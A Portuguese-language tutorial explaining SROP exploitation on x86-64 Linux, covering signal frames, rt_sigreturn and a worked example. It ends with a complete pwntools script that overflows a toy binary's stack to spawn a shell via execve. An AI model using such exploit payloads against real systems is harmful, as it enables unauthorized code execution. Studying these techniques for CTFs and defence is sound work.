Princípios do Ataque SROP
A técnica SROP (Sigreturn Oriented Programming) simplifica ataques de programação orientada a gadgets, explorando o mecanismo de signal do Linux. Ao contrário do ROP tradicional, que exige a construção de cadeias complexas de gadgets, o SROP permite alterar diretamente os registradores usando o estado salvo durante um signal, possibilitando a execução de chamadas de sistema como execve para obter um shell.
Quando um processo no modo usuário emite um signal, o controle é transferido para o kernel. O kernel salva o contexto do processo, incluindo o estado dos registradores, na pilha do usuário, e empilha o endereço de rt_sigreturn. Em seguida, o manipulador de signal (Signal Handler) é executado no modo usuário. Após a execução do manipulador, o kernel restaura o contexto salvo, devolvendo o controle ao processo.
Para o ataque, é crucial que o atacante controle o conteúdo da pilha, permitindo forjar um quadro de signal (SigreturnFrame) com os valores desejados dos registradores. Ao executar rt_sigreturn, o kernel restaura esses registradores forjados, permitindo a execução de syscall com parâmetros controlados.
Construindo o SigreturnFrame
A biblioteca pwntools fornece funções para criar o frame de signal. Veja um exemplo em Python, onde configuramos os registradores para uma chamada execve:
from pwn import *
context.arch = "amd64"
sig_frame = SigreturnFrame()
sig_frame.rax = 59 # Número da syscall para execve
sig_frame.rdi = 0 # Endereço do argumento "/bin/sh"
sig_frame.rsi = 0 # Argumento nulo
sig_frame.rdx = 0 # Argumento nulo
No código acima, context.arch define a arquitetura, e SigreturnFrame() gera o frame. Os registradores são preenchidos conforme necessário para a syscall desejada.
Detalhes da Execução
Durante o disparo de um signal, o kernel salva o estado na pilha, conforme ilustrado. O manipulador de signal, após processar o signal, executa uma instrução ret que redireciona para rt_sigreturn. Este syscall restaura o estado a partir do frame forjado, permitindo que o processo continue com registradores manipulados.
Para que o ataque seja bem-sucedido, são necessárias algumas condições: controle sobre a pilha via overflow, conhecimento do endereço da pilha para localizar strings como "/bin/sh", acesso ao endereço de syscall, e conhecimento do endereço de rt_sigreturn. Em casos complexos, pode-se encadear múltiplos frames SROP, similar a uma cadeia ROP.
Exemplo Prático de Exploração
Considere um programa vulnerável com as seguintes características em assmebly:
.text:0000000000401000 sub rsp, 8
.text:0000000000401004 mov eax, 1
.text:0000000000401009 mov edi, 1
.text:000000000040100E mov rsi, offset msg
.text:0000000000401018 mov edx, 3Ah
.text:000000000040101D syscall ; sys_write
.text:000000000040101F mov eax, 0
.text:0000000000401024 mov edi, 0
.text:0000000000401029 mov rsi, rsp
.text:000000000040102C mov edx, 400h
.text:0000000000401031 syscall ; sys_read
.text:0000000000401033 mov edx, 8
.text:0000000000401038 mov eax, 1
.text:000000000040103D mov edi, 1
.text:0000000000401042 mov rsi, rsp
.text:0000000000401045 syscall ; sys_write
.text:0000000000401047 pop rbp
.text:0000000000401048 retn
.text:0000000000401049 pop rsi
.text:000000000040104A pop rax
.text:000000000040104B retn
Há um overflow na leitura, e gadgets disponíveis para carregar valores em rax e executar syscall. O exploit envolve criar um frame SROP e injetá-lo na pilha após o overflow. O payload é construído como:
payload = b'x' * 8 + p64(pop_rax_addr) + p64(15) + p64(syscall_addr) + bytes(sig_frame)
Neste payload, pop_rax_addr carrega 15 (número da syscall para rt_sigreturn) em rax, e syscall_addr executa a syscall, ativando o signal. O sig_frame contém os registradores para execve.
Para completar o exploit, preenchemos o frame com endereços relevantes, como o local da string "/bin/sh" fornecida pelo programa:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./target_binary')
p = process('./target_binary')
syscall_addr = 0x401031
bin_sh_addr = 0x40203A
pop_rax_gadget = 0x40104A
sig_frame = SigreturnFrame()
sig_frame.rax = 59
sig_frame.rdi = bin_sh_addr
sig_frame.rsi = 0
sig_frame.rdx = 0
sig_frame.rip = syscall_addr
payload = b'a' * 8 + p64(pop_rax_gadget) + p64(15) + p64(syscall_addr) + bytes(sig_frame)
p.send(payload)
p.interactive()
Ao executar, o processo deve conceder um shell, desde que as condições de endereço e controle sejam atendidas.